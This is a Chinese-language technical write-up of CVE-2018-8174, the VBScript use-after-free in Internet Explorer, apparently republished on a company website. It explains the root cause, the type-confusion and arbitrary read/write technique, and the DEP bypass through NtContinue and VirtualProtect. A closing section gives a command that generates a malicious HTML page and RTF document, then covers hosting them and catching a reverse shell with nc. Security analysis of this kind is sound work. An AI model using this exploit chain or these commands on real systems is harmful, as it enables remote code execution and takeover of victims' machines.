一、漏洞簡介
VBScript引擎處理內(nèi)存中對象的方式中存在一個遠程執(zhí)行代碼漏洞。該漏洞可能以一種攻擊者可以在當(dāng)前用戶的上下文中執(zhí)行任意代碼的方式來破壞內(nèi)存。成功利用此漏洞的攻擊者可以獲得與當(dāng)前用戶相同的用戶權(quán)限。如果當(dāng)前用戶使用管理用戶權(quán)限登錄,則成功利用此漏洞的攻擊者可以控制受影響的系統(tǒng)。然后攻擊者可以安裝程序; 查看,更改或刪除數(shù)據(jù); 或創(chuàng)建具有完全用戶權(quán)限的新帳戶。
在基于Web的攻擊情形中,攻擊者能通過Internet Explorer利用此漏洞的特定網(wǎng)站,然后誘使用戶查看該網(wǎng)站。攻擊者還可以在承載IE呈現(xiàn)引擎的應(yīng)用程序或Microsoft Office文檔中嵌入標(biāo)記為“安全初始化”的ActiveX控件。攻擊者還可以利用受到破壞的網(wǎng)站和接受或托管用戶提供的內(nèi)容或廣告的網(wǎng)站。這些網(wǎng)站可能包含可能利用此漏洞的特制內(nèi)容。
2018年5月8日,微軟發(fā)布了安全補丁,影響流行的大部分系統(tǒng)版本。
三、漏洞原理
由于樣本混淆嚴重,部分代碼見圖1,這里采用簡化POC進行分析,代碼見圖2。
圖1 樣本采用了嚴重混淆
圖2 Crash Poc
Crash Poc中定義兩個數(shù)組array_a和array_b,并聲明了一個類MyTest,且重載了析構(gòu)函數(shù)Class_Terminate,UAF中創(chuàng)建MyTest的實例賦值給數(shù)組array_a (1),并通過Erase array_a清空array_a中的元素,在析構(gòu)array_a中的元素的時候會觸發(fā)腳本中Class_Terminate的調(diào)用,在Class_Terminate中增加了一個array_b(0)對MyTest實例的引用(MyTest實例引用計數(shù)+1),再通過array_a (1)= 1刪除array_a (1) 對MyTest實例的引用(MyTest實例引用計數(shù)-1)來平衡引用計數(shù),這時候MyTest實例會被釋放,但是array_b(0)仍然保留了這個MyTest實例的引用,從而array_b(0)指向了被釋放的MyTest實例的內(nèi)存,最終在MyTestVuln中通過b(0) = 0訪問未分配內(nèi)存觸發(fā)漏洞。
當(dāng)我們啟用了頁堆的IE瀏覽器運行這個PoC時,我們可以觀察到OLEAUT32!VariantClear函數(shù)會發(fā)生崩潰:調(diào)用被釋放的內(nèi)存時出現(xiàn)訪問沖突(Access Violation)異常。
從堆信息中可以看到eax(0x14032fd0)在vbscript!VbsErase的調(diào)用棧中被釋放了,vbscript!VbsErase即對應(yīng)了腳本中的Erase,而eax正是被VBScriptClass::Release函數(shù)釋放的VBScriptClass對象也就是腳本中的MyTest實例。VBScriptClass::Release的邏輯如下圖:
VBScriptClass::Release中首先對VBScriptClass的引用計數(shù)-1(&VBScriptClass+0×4),如果引用計數(shù)=0則調(diào)用VBScriptClass::TerminateClass,調(diào)用VBScriptClass::TerminateClass時因為在腳本中重載了Class_Terminate函數(shù),所以獲得了一次腳本執(zhí)行的機會,這里就可以在釋放VBScriptClass的內(nèi)存前將即將釋放的VBScriptClass內(nèi)存地址保存腳本控制的變量中(Set array_b(0) =array_a(1)),并通過array_a (1) = 1平衡引用計數(shù),最終釋放內(nèi)存。
Set array_a(1) = New MyTest時,VBScriptClass引用計數(shù)為2。
Erase array_a 返回后,MyTest指向的內(nèi)存已釋放,但array_b(0)仍指向這塊被釋放的內(nèi)存,
形成了懸掛指針,見下圖:
四、漏洞利用分析
UAF漏洞利用的關(guān)鍵是如何用這個懸掛指針來操作內(nèi)存。該漏洞利用多次UAF來完成類型混淆,通過偽造精數(shù)組對象完成任意地址讀寫,最終通過構(gòu)造對象后釋放來獲取代碼執(zhí)行,代碼執(zhí)行沒有使用傳統(tǒng)的ROP技術(shù)或GodMod技術(shù),而是通過腳本布局Shellcode利用。
1)偽造數(shù)組達到任意寫目的
通過UAF制造2個類的mem成員指向的偏移相差0x0c字節(jié),通過對2個對象mem成員讀的寫操作偽造一個0x7fffffff大小的數(shù)組。
偽造的數(shù)組大致情況是:一維數(shù)組,元素有7fffffff個,每個元素占用1字節(jié),元素內(nèi)存地址為0。所以該數(shù)組可訪問的內(nèi)存空間為0x00000000到0x7ffffffff*1。因此通過該數(shù)組可以任意地址讀寫。但是在lIlIIl在存放的時候,存放的類型是string類型,故只需要將該數(shù)據(jù)類型將會被修改為0x200C,即VT_VARIANT|VT_ARRAY,數(shù)組類型,即可達到目的。
2)讀取指定參數(shù)的內(nèi)存數(shù)據(jù)
攻擊代碼中,主要使用上面的函數(shù)來讀取參數(shù)所指定的內(nèi)存地址的數(shù)據(jù)。利用思路是在VBS中數(shù)據(jù)類型為bstr類型,通過vb中l(wèi)enb(bstr xx)返回字符串地址前4個字節(jié)的內(nèi)容(即bstr類型size域內(nèi)容)的特性,獲取指定內(nèi)存讀能力。 如上述代碼所示,假如傳進來的參數(shù)為addr(0x11223344),首先該數(shù)值加4,為0x11223348,然后設(shè)置variant類型為8(string類型)。然后調(diào)用len函數(shù),發(fā)現(xiàn)是BSTR類型,vbscript會認為其向前4字節(jié)即0x11223344就是存放長度的地址內(nèi)存。因此執(zhí)行l(wèi)en函數(shù),實際上就返回了制定參數(shù)內(nèi)存地址的值。
3)獲取關(guān)鍵DLL基址
通過DOSmodeSearch獲取。
通過泄露CScriptEntryPoint對象的虛函數(shù)表地址,該地址屬于Vbscript.dll。
由于vbscript.dll導(dǎo)入了msvcrt.dll,因此通過遍歷vbscript.dll導(dǎo)入表獲取msvcrt.dll基地址, msvcrt.dll又引入了kernelbase.dll、ntdll.dll,最后可以獲取NtContinue、VirtualProtect函數(shù)地址。
4)繞過DEP執(zhí)行shellcode
a)利用任意讀寫的手段修改某個VAR的type類型為0x4d,再賦值為0讓虛擬機執(zhí)行VAR::Clear函數(shù),如下圖顯示。
b)通過精心控制使代碼執(zhí)行ntdll!ZwContinue函數(shù),第一次參數(shù)CONTEXT結(jié)構(gòu)體也是攻擊者精心構(gòu)造的,見下圖。
c)ZwContinue的第一個參數(shù)是指向CONTEXT結(jié)構(gòu)體的指針,可計算出EIP和ESP在CONTEXT中的偏移。
d)實際運行時CONTEXT中的Eip和Esp的值以及攻擊者的方法,見下圖。
攻擊者將CONTEXT中的EIP設(shè)置為VirutalProtect,將ESP中的返回地址和VirtualProtect的第一個參數(shù),都設(shè)置為shellcode的起始地址。當(dāng)ZwContinue執(zhí)行后直接跳到VirtualProtect第一條指令開始執(zhí)行,
根據(jù)攻擊者構(gòu)造的參數(shù)將shellcode所在內(nèi)存設(shè)置為可執(zhí)行狀態(tài),當(dāng)VirtualProtect返回時就會跳到shellcode執(zhí)行。
最后調(diào)用WinExec彈出計算器。
五、 MSF利用
環(huán)境準備
生成帶有惡意 VBscript 的 html 頁面和 word 文檔
python CVE-2018-8174.py -u http://192.168.106.139/exploit.html -o msf.rtf -i 192.168.106.139 -p 4444
把 explot.html 復(fù)制到 /var/www/html目錄,
把msf.rtf復(fù)制到 /root/.msf4/local目錄。
開啟 apache 服務(wù)
nc監(jiān)聽4444端口
在靶機的 IE 瀏覽器打開惡意 URL,或者打開 word 打開 msf.rtf
收到反彈shell
參考資料:
http://blogs.360.cn/post/cve-2018-8174-en.html
http://www.freebuf.com/vuls/172983.html
24小時發(fā)貨
7天退換貨
1年保修期
免費提供方案
北京神州明達高科技有限公司 備案號:京ICP備12008205號-5 技術(shù)支持:神州明達